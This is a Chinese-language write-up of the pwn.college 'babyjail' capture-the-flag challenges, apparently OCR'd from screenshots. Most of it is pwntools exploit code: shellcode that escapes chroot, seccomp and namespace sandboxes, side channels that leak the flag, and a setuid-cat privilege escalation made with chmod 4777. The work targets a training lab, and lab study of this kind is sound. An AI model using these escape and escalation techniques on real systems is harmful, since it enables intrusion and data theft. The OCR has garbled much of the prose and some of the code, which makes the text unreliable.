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v KR Plain Text v |2l BahifT | O &l
1 flags: RRFTFHIIRIR,
2
3  0_ACCMODE<0003>: HENXHIR(ER, BFEH flaghK21i,
4 O_RDONLY<00>: HiEiTF
5 O_WRONLY<01>: RETF
6 O_RDWR<02>: XRGHIF
7  O_CREAT<0100>: XHAEFEMEIEZE, FEmode_t
8 O0_EXCL<0200>: WIRFAPHEE TO_CREAT, MXHBELEEE, NHEE
9  O_NOCTTY<0400>: 1RpathnameftRZIHLE, NRIEIIEEHEIENLHIZAITHIL iR
10 O_TRUNC<01000>: WRIXHEE, MBEANRIEHREINITH, MKEKESE0
11  O_APPEND<02000>: &XERIERINEIS Y E IR
12 O_NONBLOCK<04000>: #1Rp a t h n a m eiEME—1F I F 0. —MREBHXEH—NFRIIFS
13 O_NDELAY<O_NONBLOCK>
14  0_SYNC<010000>: fFERwrite#BEEIYIIRI /0IRIETM.
15 FASYNC<020000>: FEABSDEIfcntlETIR(E
16 O_DIRECT<040000>: HIFMEIR(FEIRR, SEEHRNMEANZIRHNET, BREEHARE
17 O_LARGEFILE<0100000>: ASNHARIE
18 O_DIRECTORY<0200000>: AM=eBFR
19 O_NOFOLLOW<0400000>: RIKEUERE
20 O_NOATIME<01000000>: HTE
21
22 mode: HFBIE— XU, FEEEmodeS N, UTHANERNEEX BFF<LFREIE>: #iR
23
24  S_IRWXU<00700>: XHREEBIEEHRITNE
25 S_IRUSR (S_IREAD)<00400>: X{HilHEENEIENE
26 S_IWUSR (S_IWRITE)<00200>: XHHEENESINE
27 S_IXUSR (S_IEXEC)<00100>: XEHHBEENEHRITINE
28 S_IRWXG<00070>: AAFHIERSHITINE
29 S_IRGRP<00040>: ARAPNEIENIE
30 S_IWGRP<00020>: HAAFPNEENIE
31 S_IXGRP<00010>: ARAFXEHITIVE
32 S_IRWX0<00007>: EttAFPEIREHITIE
33 S_IROTH<00004>: HfthFFXEIENR
34 S_IWOTH<00002>: HttAAFPNESIR
35 S_IXOTH<00001>: HMEF{XERITNR



pwnheader.py

(AREIZS
from pwn import =*
dojo = ssh("hacker","pwn.college",keyfile="./pwncollege.ssh",raw=True)

dojo.sftp = None

1
2
3
4
5 dojo._tried_sftp = True
6
7 p : process

8

9

gx = 0
gy =0
10
11 s = lambda data :p.send(data)
12 sl = lambda data :p.sendline(data)
13 sa = lambda x,data :p.sendafter(x, data)
14 sla = lambda x,data :p.sendlineafter(x, data)
15 r = lambda num=4096 :p.recv(num)
16 ri = lambda num=4096 :p.recvline(num)
17 ru = lambda x :p.recvuntil(x)
18 Htr = lambda :p.interactive()
19 uu32 = lambda data :u32(data.ljust(4,b'\x00"))
20  uub4 = lambda data :ub4d (data.ljust(8,b"\x00"))
21 urub64 = lambda cuubd (ru("\x7f'")[-6:1)
22 leak = lambda name :log.success('{} = {}'.format(name, hex(e
23 libc_os = Tlambda x :libc_base + x
24 libc_sym = lambda x :libc_os(libc.sym[x])
25
26 prefix = "/challenge/babyjail_level"
27
28 def start(prog:str,args=[]):
29 global p
30 p = dojo.process([prog] + (args))
31 return p
32
33 def staa(x,arg):
34 dojo.download_file(prefix+str(x))
35 start(prefix+str(x),arg)
36
37 def sta(x,arg = []):
38 global gx
39 gx = X
40 fstr = str(x)
41 dojo.download_file(prefix+fstr)

42 return start(prefix+fstr,arg)



43
44  def ssta(x,arg = []):

45 fstr = str(x)

46 dojo.download_file(prefix+fstr)

47 return start("strace",["-e","raw=read",prefix+fstr] + arg)
48

49 cf = lambda : print(dojo.system("ls -1 / ; cat /flag").recvall().decode())
50
51 def debug(pid=None):

52 ctxlvl = context.log_level

53 context.log_level = 'warn'

54 if pid:

55 dojo.system("pwndbg /challenge/babyjail_level" + str(gx) +" -ex 'atte
56 dojo.system("pwndbg /challenge/babyjail_level"+str(gx)).interactive()
57 context.log_level = ctxlvl

58

59 def debug(x):

60 ctxlvl = context.log_level

61 context.log_level = 'warn'

62 dojo.system("pwndbg /challenge/babyjail_level"+str(x)).interactive()
63 context.log_level = ctxlvl

64

65 context.log_level="debug'

66 context.arch = "amd64"

-- chroot --

1 Zked
{RE T pWd7ESNET, TTBMERIRRRIE

(ARTEIZS

1 from pwnheader import x

2

3 # p = sta(l)

4

5 start("/challenge/babyjail_levell",["../../flag"])
6

7 dtr()



2 F<cd shellcode

TEEEE, %Z8shellcode

IEIR

1 from pwnheader import x
2

3 staa(2,["111"])

4

5 sc = shellcraft.chmod("../../flag",00777)
6 sh = asm(sc)

-

8 ru("stdin.\n")

9 s(sh)

10

11 dtr()

12 cf()

3-4 i=RIFT T E %

if ( epen(argv[l], e4eaaea) >= 8 )

printf("Successfully opened the file located at "¥s™.\n", argv[1]):
else

printf("Failed to open the file located at "%s™.\n", argv[l]};

fEchrootZ BIRJ AT HE R, chrootz BfdiABRL, RILA{EHopenatF X {474 fEsendfile

AGIR

1
2
3
4
5
6
7
8
9

10
11
12

from pwnheader import *

sta(4,["/"])

sc = shellcraft.openat(3, "flag", 0)

sc += shellcraft.sendfile(1l, "rax",0, 0x100)
sh

asm(sc)

s(sh)

itr()

5 Alinkat®&{topenat



RASIR

from pwnheader import *

sta(5,["/"])

sc += shellcraft.linkat(3, "flag", 4,"fflag",0)
sc += shellcraft.open("/fflag",0)
sc += shellcraft.sendfile(1l, "rax",0, 0x100)

1
2
3
4
5 sc = shellcraft.open("/",0)
6
7
8
9 sh = asm(sc)

10
11
12 s(sh)
13
14 itr()

yEEpwntoolsiylinkatd B &1 iArax, FEEES I (ERrax...

6 A fchdir Bt

(AMEIZS

from pwnheader import x

sta(6,["/"])

sc += shellcraft.open("flag",0)
sc += shellcraft.sendfile(1l, "rax",0, 0x100)

1
2
3
4
5 sc = shellcraft.fchdir(3)
6
7
8 sh = asm(sc)

9

10
11 s(sh)
12
13 9tr()

7 RER chroot [5FF pwd 7§ root JMiki%
Az R{RF—chroot, FRLABRchrootiisBE T



1  from pwnheader import *

2

3 sta(7,["/"]1)

4

5 sc = shellcraft.mkdir("break™)

6 sc += shellcraft.chroot("/break')

7 sc += shellcraft.open("../../flag",0)
8 sc += shellcraft.sendfile(1l, "rax",0, 0x100)
9 sh = asm(sc)

10

11 # # 7tr()

12  s(sh)

13

14 [dtr()

8 AT T X R FHZ

XEBZE|FTopen, RBopenat, FEFMRELRITH, openatFE—dfd, FEFARXFFEITHHE
HBHE. ATIREIBN, THRE—"helper:

IBR

1 #include <stdlib.h>

2 #include <fcntl.h>

3 #include <unistd.h>

4 #include <sys/wait.h>

5

6 int main(int argc, char xargv[], char xenvp[]) {
7 if(arge < 3){

8 return -1;

& }

10 int fd = open(argv[1], O_RDONLY);

11 if (fd < 0) {

12 perror ("open");

13 return -2;

14 }

15 if(fork() == 0){

16 execve(argv[2], argv + 2, envp);
17 }

18 wait (NULL);

19 return 0;

N
o
=



AR IFG 7ML —T, AELE
1EE A DALE Eopenat+sendfile T

(AREIZS

1  from pwnheader import *

2

3 # context.log_level = "warn"

4

5 # sta(8,["/"])

6 # dojo.upload_file("./jailhelper™")

-

8 start("./jailhelper",["/",prefix + "8"])
9

10 sc = shellcraft.openat(3, "flag", 0)

11 sc += shellcraft.sendfile(1l, "rax",0, 0x100)
12 sh = asm(sc)

13

14 # itr()

15 s(sh)

16

17 dtr()

18

9 Syscall Confusion

[ "close", "stat", "fstat", "Istat"],BElx64 3-6, x86 T IE4F&0orw

IBIR

1  from pwnheader import *
2

3 sta(9)

4

5 sc = """

6 XOr rax,rax

7 xor rbx, rbx

8 XOr rcx, rcx

9 xor rdx, rdx
10
11 mov eax, 5
12 lea ebx, [eipt+flag]
13 mov ecx, 0

14

int Ox80



15

16 mov ebx, eax

17 mov eax, 3

18 mov ecx, 0x1337800
19 mov edx, 0x100

20 1int Ox80

21

22 mov eax, 4

23  mov ebx, 1

24  1int 0x80

25

26 flag:

27 .ascii "/flag"
28 fron

29

30 sh = asm(sc)
31

32 s(sh)

33

34 dtr()

10 EFRE1EE flag
RifFwrite, BJexit, XHEFAIAE®E T
shellf9$? RE1FT, FEZIT/UR, EEEZpollF AT AZR4byte

HASIR

1  from pwnheader import *

2

3 context.log_level = "warn"

4 errl = []

5

6 for i 1in range(60):

7 p = start("sh",["-c",prefix+"10 /flag; echo $?"])
8 # itr()

9 sc = shellcraft.read(3, "rsp", 0x100)
10 sc += """

11 xor rdi, rdi

12 mov dil, byte ptr [rsp+{}]

13 mov rax, 60

14 syscall

15 nn format(q)

16 sh = asm(sc)



17 s(sh)

18 # itr()

19 ru("code!\n\n")

20 err = int(rl1())

21 errl.append(err)
22 print(err)

23

24 print("".join([chr(i) for i 1in errl]))

11 EFIER flag
R read Al nanosleep, BITH, AW, B4R, TEASARRSHERETR

AR

from pwnheader import *
context.log_level = "warn"
sc = "sub rsp, 100\n"

sc += shellcraft.read(3, "rsp", 100)

1

2

3

4

5 def gen(pos):
6

7

8 sc += "mn
9

XOor rax,rax

10 mov al, byte ptr [rsp+{}]

11 sub al, 0x20

12 push 0

13 push rax

14 nnme format(pos)

15 sc += shellcraft.nanosleep("rsp", 0)
16 sct= "add rsp, 100+16\n"

17 sc += "ret\n"

18 return asm(sc)

19

20 1x = bytearray(80)
21 payload = []

22

23 def worker(pos):

24 p = start("bash",["-c","time -p "+prefix+"11 /flag"])
25 # p.interactive()

26 p.send(payload[pos])

27 p.recvuntil("code!\n\n")

28 p.recvuntil("real ")

29 i = int(p.recvuntil('."').decode().replace('."',"'"'))+0x20

30 Ix[pos] = 1



31 print(chr(i))

32 p.close()
33 print(1lx)
34

35 print("Generating payload")
36 for i in range(70):

37 payload.append(gen(i))
38

39 threads = []

40

41 for j in range(7):

42 for i in range(8):

43 t = threading.Thread(target=worker, args=(i+j*8,))
44 threads.append(t)
45 t.start()

46 for t in threads:

47 t.join()

48 threads = []

49

50 print(1lx)

51

52 # Ttr()

12 BEFREFBITIRGEALIRE

Reifread, BMAENNAIA0IRE] (SR exitAAAGEREbad syscall) , ZNEIZIEEHFEE
segment fault

BRET, BTAK(

RESIR

from pwnheader import x
import threading

context.log_level = "warn"

def gen(i,b):

1

2

3

4

5 errl = bytearray(60)
6

7

8 sc = "sub rsp, 0x100\n"
9

sc += shellcraft.read(3, "rsp", 0x100)

10 sc += "'nn
11 XOor rax, rax
12 mov al, byte ptr [rsp+{}]

13 shr al, {}



14
15
16
17
18
19
20
21
22
23
24
25
26

and al, 1
test al, al
jz normal

mov rax,

normal:

add rsp, 0x100
ret

" format(i,b)

return asm(sc)

[]

# print("Generating shellcode...")
# for 1 in range(56#8):

# scl.append(gen(i//8, 1%8))

# print(".",end="")

def getlbit(i, b ):
p = start("bash",["-c",prefix+"12 /flag; echo $?"])
# p = sta(12, ["/flag"])
itr()
sh = scl[i*x8+b]
.send(gen(i,b))
itr()
p.recvuntil("/flag\n')
err = int(rl())
print(err)
if(err == 139):

* O ® R

43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

p.close()

def worker(start):
for i in range(start, start+7):
for b in range(8):
getlbit(i,b)
print(errl)

for i in range(56):
for b in range(8):

getlbit(i,b)
print(errl)

[]

# for i in range(8):

threading. Thread(target=worker, args=(i*7,))



61 # th.append(t)

62 # t.start()
63
64 # for t in th:
65 # t.join()
66

67 # print("".join([chr (i) for i in errl]))
68

69 # getlbit(0,0)

70  print(errl)

13 ZREXFHIZEE

BRI T REEAE R HAE Mo, FFEM TshellcodeHFNAHFZE M



if { child_pid )

1
puts(“"The parent is reading @x188@ bytes of shellcode from stdin.\n"};
read(@, w12, @x1eeeull});
puts{“The parent is sending the shellcode to the child.\n™};
write(childout, w12, 6x1066ull);

| while ( 1)

while ( 1 )

memset(s1l, @, sizeof(sl));

puts("The parent is waiting for a command from the child.\n™);

v8 = read(childout, s1, 8x30ulL);

s1[9] = 8;

printf(
"The parent received command ~%.18s° with an argument of %d bytes from the child.\n",
(unsigned int)}({ws - 18));

if ( stromp(sl, “print_msg")} )
break;

puts(&s1[18]);

if ( stromp(sl, "read file"™) )

break;
v3 = open(&s1[18]; @);
sendfile(childout, w3, @LL, @x38ull);

puts("Error: unknown command!\n™);

}

else
1
puts("The child will now close itself off from the world, except for the child side of the socketpair.\n"};
close(8);
close(1);
close(2);
close(childout);
if { mmap((void *)@x1337060, @xleeeull, 7, 34, @, eLL) != (void *)20148224 )
__assert_fail("shellcode == (wvoid *)8x1337@88", “<stdin>", Bx4Bu, "main™);
printf("The child mapped @x188a bytes for shellcode at ¥p!\n", (const woid *)ex1337008);
puts{"Restricting system calls (default: kill).\n"};
vl = seccomp_init({@LL);
printf("Allowing syscall: %s (number ¥i)}.\n", "read”, @LL);
if { (unsigned int)seccomp rule add{v9, 21474181121 L, @LL, @LL) )
__assert_fail("seccomp _rule_add{ctx, SCMP_ACT ALLOW, SCMP_SYS(read), 8) == @", "<¢stdin:™, @x56u, "main™);
printf("Allowing syscall: %s (number X¥i).\n", "write", 1LL);
if { (unsigned int)seccomp _rule add(v9, 214741811211, 1LL, OLL) )
__assert_fail("seccomp_rule_add{ctx, SCMP_ACT ALLOW, SCMP_SYS(write), 8) == 8", "<stdin>", @x52u; "main”);
printf("Allowing syscall: #s (number %i).\n", "exit", 68LL};
if { (unsigned int)seccomp rule add{v9, 214741811211, 66LL, @6LL) )
__assert_fail("seccomp rule add({ctx, SCMP_ACT ALLOW, SCMP_SYS(exit), @) == @", "<stdin>™, Ox54u, "main™};
if { (unsigned int)seccomp_load(v2) )
__assert_fail("seccomp_load(ctx) ==
read(v7, (void *)8x1337000, 9x1606uLL);

writeiu?, "irint msg:Executing shellcode!l™, @x8BuLL);
OF

BT AT F IR AR S, Zread_fileFprint_msg

™

» <stdin®", Ox56u, "main™);

Fi#TE R 2% read write from parent

ETHRMERIE, ‘EEpush—RE8FT

(AR TEIZS

from pwnheader dimport x
import threading

sc = shellcraft.pushstr("read_file\x00/flag\x00")

1

2

3

4 context.log_level = "info"

5

6

7 sc += shellcraft.write(4, "rsp", 16)



sc += shellcraft.read(4, "rsp", 0x80)
sc += shellcraft.pushstr("\0\0\0\0\0\0print_msg\0")
106 sc += "add rsp, 6\n"
11 sc += shellcraft.write(4, "rsp", 0x80)
12 sh = asm(sc)
13
14 sta(13)
15
16 s(sh)
17
18  1dtr()
19

NameSpace --

14 pivot_root [ EN % |HAYroot
N,

Checking that the challenge is running as root (otherwise things will fail)...
Splitting off into our own mount namespace...
Creating a jail structure!
.. creating jail root...
. created jail root at ~/tmp/jail-HsXDsD™ .
. changing the old / to a private mount so that pivot root succeeds later.
. bind-mounting the new root over itself so that it becomes a ‘mount point’ for pivet root() later.
. creating a directory in which pivot root will put the old root filesystem.
. pivoting the root filesystem!
. bind-mounting /bin into the jail.
. though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
. bind-mounting /usr into the jail.
. though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
. bind-mounting /lib into the jail.
.. though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
. bind-mounting /lib64 into the jail.
. though the mounts are independent, changes to the files themselves will propagate to the parent namespace!
HDUlng the current working directory into the jail.

Executing a shell inside the sandbox! Good luck!

LIkl

;;;;;;;;; B LS U Meda A11ALIL LESe TRANIWEMGRG ML LU

bash-5.e# 1s -1

total 36

druxr-xr-x 1 8 B 4996 Sep B 16:44 bin
---------- 18 1886 18 Sep 13 83:13 flag
druxr-xr-x 1 @ B 4096 Sep 6 16:19 lib
druxr-xr-x 1 @ B 4096 Sep 6 16:17 libs4
drixr-xr-x1 @ @ 4096 Sep 13 B83:18 old
driwxr-xr-x 1 8 P 4096 Sep 6 16:19 usr
bash-5.8# cd old

bash-5.8# 1s

bin boot challenge dev etc flag home Iib 1ib32 1ib64 1ibx32 media mnt nix opt proc root run sbin sev sys tmp usr wvar

bash-5.8%# cat flag
rum enl legalnf -7 7R0TC i FaSAint T e STmt T AdPMzMN wTT A7l



15 A B E =R E iU R
SREBIMTEDMOhost, BAEERFSHETEINE, BIVESBAE:

bash-5.6# id
uid=8 gid=1888 groups=186@

BREL AT LAE ##chmod 4777 —“ cat
AREESZRIMUITX M cat k5% flag

16 [FPIDZ|a)i@id /proc/{pid}/rootifal bR SXE R 4t
2 Zhttps://www.freebuf.com/articles/es/377292.html
A, HMBERIEHERES, TRIFTHZANER L, REHE

151 13 B ey 2

it
o

pagenan projid map schedstat setgroups smaps rellp SGT STatus  task uld_may
score_adf personality root sessionid  smaps stack statm syscall timerslack.ns wchan

17 FA#H A\nsZ BT FHIfd

RIFBRANNSZBIFTH—1X14, XBEERITH/, £MFchrootZBifTHIX A, fAEEOopenati&s
Bl orw

IBIR

1 from pwnheader import *

2

3 context.log_level = "info"

4 start("vm",["exec","/challenge/babyjail_levell7","/"])
5

6 sc = shellcraft.openat(3, "flag", 0)

7 sc += shellcraft.read(4, "rsp", 0x80)

8 sc += shellcraft.write(l, "rsp", 0x80)

9

10 code = asm(sc)
11

12 ru("stdin.")
13 s(code)

14



15

itr()

18 AR

ISE9FERhR, RFHE—

UIEFE 2 8 Il oI B S FH BN BR

MEFRMMH FBERIE B Shome, £ FnsHAY/Ebind mountld, Bk

BIBME/BIIRBR A 7775k 5o 1vF5MERTRIE); AAIEM B S BEREEE fl—cat?l/E ' chown 0 0]
chmod 4777, BEfEENRIFESMERIAIEENIX M5 cat T

start("vm", ["exec","/challenge/babyjail_levell8","/home/hacker"])

shellcraft.open("/data/cat", 0)
.open("/cat", 00100 | 0001)

sendfile(4, 3,0, 1048576)
chmod (" /", Q0777)
chown("/cat", 0, 0)
chmod (" /cat", 004777)

EIR
1 from pwnheader import *
2
3 context.log_level = "info"
4
5
6 sc =
7 sc += shellcraft
8 sc += shellcraft.
9 sc += shellcraft.
10 sc += shellcraft.
11 sc += shellcraft.
12
13 code asm(sc)
14
15 ru("stdin.")
16 s(code)
17
18 itr()
=1t

Snadbox ERAEILLRERR, —FEREE LB T dockerfIRIEBUR AT ARRIETFS

32 B AYjailsk

BEEEER,
ST TRETF TARRET AR T (

A&

fCdeske s, i

BRBEED:-)
BIERIEM R IBEANRARED], TEHITHhE

A%T—I_)-L;E, /u\ﬁ%I\TGT

B/RE, YT

. —EnamespacefllseccompH&



